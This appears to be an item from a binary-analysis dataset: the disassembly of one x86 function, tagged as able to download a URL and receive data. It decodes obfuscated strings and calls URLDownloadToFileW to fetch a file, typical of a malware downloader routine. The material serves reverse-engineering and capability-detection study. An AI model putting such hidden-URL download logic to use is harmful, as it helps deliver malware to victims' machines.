Function at 0x4062b0
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x448958
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x128
push ebx
push esi
push edi
mov dword [ebp - 0x18], ecx
call fcn.004015f0
mov ecx, eax
test ecx, ecx
je 0x40689a
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x54], eax
mov dword [ebp - 4], 0
call fcn.004015f0
mov ecx, eax
test ecx, ecx
je 0x4068a4
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x20], eax
push 0x454878
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 1
call fcn.00403560
test al, al
jne 0x406333
push 0x10
push 0x454878
lea ecx, [ebp - 0x20]
call fcn.004039e0
mov byte [ebp - 4], 2
call fcn.004015f0
mov ecx, eax
test ecx, ecx
je 0x4068ae
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x28], eax
push str.ZnJybnE4LS1uYV9ubixxcm1wYy1kX110Y3BxZ21sLG5mbj1lc2diOyN1cSRwY3E7amdsaSRsbWFfYWZjOyNi
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 3
call fcn.00403560
test al, al
jne 0x406375
push 0x54
push str.ZnJybnE4LS1uYV9ubixxcm1wYy1kX110Y3BxZ21sLG5mbj1lc2diOyN1cSRwY3E7amdsaSRsbWFfYWZjOyNi
lea ecx, [ebp - 0x28]
call fcn.004039e0
mov byte [ebp - 4], 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
mov eax, dword [ebp - 0x28]
push 0x45d9a0
push ecx
add eax, 0xfffffff0
mov esi, esp
mov dword [ebp - 0x38], esi
mov ecx, eax
mov dword [ebp - 0x38], eax
call fcn.004037f0
add eax, 0x10
lea ecx, [ebp - 0x14]
mov dword [esi], eax
call fcn.00402190
add esp, 4
mov byte [ebp - 4], 5
push dword [eax]
lea eax, [ebp - 0x54]
push eax
call fcn.0040ac10
mov byte [ebp - 4], 4
or ebx, 0xffffffff
mov edx, dword [ebp - 0x14]
add esp, 0x10
add edx, 0xfffffff0
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4063de
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.004015f0
mov ecx, eax
test ecx, ecx
je 0x4068b8
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x2c], eax
push str.WkJqVGNwLHJ2cg
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 6
call fcn.00403560
test al, al
jne 0x40641c
push 0x10
push str.WkJqVGNwLHJ2cg
lea ecx, [ebp - 0x2c]
call fcn.004039e0
mov byte [ebp - 4], 7
mov eax, dword [ebp - 0x2c]
push ecx
add eax, 0xfffffff0
mov esi, esp
mov dword [ebp - 0x34], esi
mov ecx, eax
mov dword [ebp - 0x34], eax
call fcn.004037f0
add eax, 0x10
lea ecx, [ebp - 0x5c]
mov dword [esi], eax
call fcn.00402190
add esp, 4
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 8
call fcn.00409d00
add esp, 4
mov byte [ebp - 4], 0xa
mov eax, ebx
mov edx, dword [ebp - 0x5c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x406474
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [ebp - 0x54]
push 0
push 0
push dword [ebp - 0x30]
push edi
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
je 0x406568
call fcn.004015f0
mov ecx, eax
test ecx, ecx
je 0x4068c2
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x14], eax
push str.amdsaV1ial1jcHBtcA
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0xb
call fcn.00403560
test al, al
jne 0x4064cd
push 0x14
push str.amdsaV1ial1jcHBtcA
lea ecx, [ebp - 0x14]
call fcn.004039e0
push ecx
mov byte [ebp - 4], 0xc
mov ecx, esp
mov dword [ebp - 0x1c], esp
push 0x453b76
call fcn.00402d60
push ecx
mov byte [ebp - 4], 0xd
mov ebx, esp
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x60], esp
add eax, 0xfffffff0
push ecx
mov esi, esp
mov ecx, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x18], eax
call fcn.004037f0
add eax, 0x10
mov ecx, ebx
mov dword [esi], eax
call fcn.00402190
mov dword [ebp - 0x24], esp
push ecx
mov byte [ebp - 4], 0xe
mov ebx, esp
mov dword [ebp - 0x58], ebx
mov esi, dword [ebp - 0x20]
lea ecx, [esi - 0x10]
call fcn.004037f0
mov ecx, dword [ebp - 0x24]
add eax, 0x10
mov dword [ebx], eax
call fcn.00402190
add esp, 4
mov byte [ebp - 4], 0xc
call fcn.004068f0
mov edx, dword [ebp - 0x18]
or ebx, 0xffffffff
add esp, 0xc
mov byte [ebp - 4], 0xa
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40655f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 0xd], 0
jmp 0x4067fb
sub esp, 0xc
lea ecx, [ebp - 0x130]
push dword [ebp - 0x30]
call fcn.004099a0
xor eax, eax
mov ecx, 0xf
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
mov byte [ebp - 0x50], al
mov byte [ebp - 4], 0x10
cmp dword [ebp - 0xd4], eax
je 0x4065ea
lea edx, [ebp - 0x50]
lea ecx, [ebp - 0x130]
call fcn.0040ad50
lea ecx, [ebp - 0x120]
call fcn.0040a670
test eax, eax
jne 0x4065e7
mov eax, dword [ebp - 0x130]
lea ecx, [ebp - 0x130]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00404cb0
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x50]
lea esi, [ebp - 0x50]
cmp ecx, 0x10
jb 0x4065f7
mov esi, edx
mov eax, dword [ebp - 0x40]
add eax, esi
lea esi, [ebp - 0x50]
cmp ecx, 0x10
jb 0x406606
mov esi, edx
push ecx
push eax
push esi
lea ecx, [ebp - 0x78]
call fcn.0040adf0
mov esi, dword [ebp - 0x18]
mov ecx, esi
push eax
call fcn.00409ee0
mov ecx, dword [ebp - 0x64]
cmp ecx, 8
jb 0x406656
mov edx, dword [ebp - 0x78]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40664c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4068cc
push ecx
push edx
call fcn.00423a36
add esp, 8
cmp dword [esi + 0x10], 0
mov esi, dword [ebp - 0x20]
je 0x406668
mov byte [ebp - 0xd], 1
jmp 0x40673b
call fcn.004015f0
mov ecx, eax
test ecx, ecx
je 0x4068d1
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x14], eax
push str.Y2tucnddamdsaQ
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0x11
call fcn.00403560
test al, al
jne 0x4066a6
push 0x10
push str.Y2tucnddamdsaQ
lea ecx, [ebp - 0x14]
call fcn.004039e0
push ecx
mov byte [ebp - 4], 0x12
mov ecx, esp
mov dword [ebp - 0x58], esp
push 0x453b77
call fcn.00402d60
push ecx
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x60], esp
mov dword [ebp - 0x18], esp
push ecx
mov ebx, esp
mov dword [ebp - 0x1c], ebx
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.004037f0
mov ecx, dword [ebp - 0x18]
add eax, 0x10
mov dword [ebx], eax
call fcn.00402190
mov dword [ebp - 0x18], esp
push ecx
mov byte [ebp - 4], 0x14
lea ecx, [esi - 0x10]
mov ebx, esp
mov dword [ebp - 0x1c], ebx
call fcn.004037f0
mov ecx, dword [ebp - 0x18]
add eax, 0x10
mov dword [ebx], eax
call fcn.00402190
add esp, 4
mov byte [ebp - 4], 0x12
call fcn.004068f0
mov edx, dword [ebp - 0x24]
or ebx, 0xffffffff
add esp, 0xc
mov byte [ebp - 0xd], 0
mov byte [ebp - 4], 0x10
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40673b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x406773
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x406769
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4068db
push ecx
push edx
call fcn.00423a36
add esp, 8
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x130]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x134], eax
lea ecx, [ebp - 0x120]
call fcn.00409650
mov eax, dword [ebp - 0x130]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x130]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x134], eax
lea eax, [ebp - 0xc0]
mov byte [ebp - 4], 0x15
push eax
mov dword [ebp - 0xc0], vtable.std::ios_base.0
call fcn.0040f834
add esp, 4
mov byte [ebp - 4], 7
mov eax, ebx
mov edx, dword [ebp - 0x30]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x406819
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x34]
mov eax, ebx
mov byte [ebp - 4], 4
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x406834
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x38]
mov eax, ebx
mov byte [ebp - 4], 2
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40684f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
add esi, 0xfffffff0
mov eax, ebx
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x40686a
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
add edi, 0xfffffff0
lock xadd dword [edi + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x406886
mov ecx, dword [edi]
push edi
mov edx, dword [ecx]
call dword [edx + 4]
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp - 0xd]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.004013c0
push 0x80004005
call fcn.004013c0
push 0x80004005
call fcn.004013c0
push 0x80004005
call fcn.004013c0
push 0x80004005
call fcn.004013c0
call fcn.00428603
push 0x80004005
call fcn.004013c0
call fcn.00428603
int3